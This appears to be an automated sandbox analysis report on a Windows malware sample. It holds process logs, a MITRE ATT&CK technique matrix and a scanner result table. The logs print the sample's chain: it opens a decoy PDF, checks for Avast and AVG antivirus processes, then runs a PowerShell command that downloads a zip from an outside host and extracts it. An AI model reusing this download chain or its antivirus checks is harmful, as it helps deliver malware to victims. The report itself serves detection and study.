Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5783	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4025	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4088	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3579

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 4025 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 4088 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8216	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8228	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4016	Thread sleep count: 6141 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8448	Thread sleep count: 3579 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8276	Thread sleep time: -8301034833169293s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: 3.8.html.21.dr	Binary or memory string: for better performance. On Windows Subsystem for Linux and QEMU User
Source: svchost.exe, 0000000C.00000002.2556866031.000002265222B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2558667202.0000022657841000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2558726933.0000022657854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000A.00000002.1954997041.000002542BEC3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://dbasopma.lol:5228/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation

Source: find.exe, 00000008.00000002.1315814276.0000017B193D4000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000008.00000002.1315736716.0000017B191DB000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_compression.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pydatetime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pyio.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pylong.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_strptime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\aifc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\argparse.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ast.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\__main__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\base_tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\exceptions.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\format_helpers.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\futures.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\locks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\log.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\mixins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\proactor_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\protocols.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\queues.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\runners.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\selector_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\sslproto.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\staggered.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\streams.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\subprocess.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\taskgroups.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\tasks.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\threads.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\timeouts.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\transports.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\trsock.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\unix_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_events.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\asyncio\windows_utils.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\base64.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bdb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bisect.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\bz2.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cProfile.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\calendar.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgi.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cgitb.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\chunk.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\cmd.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\code.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\codecs.py	0%	ReversingLabs
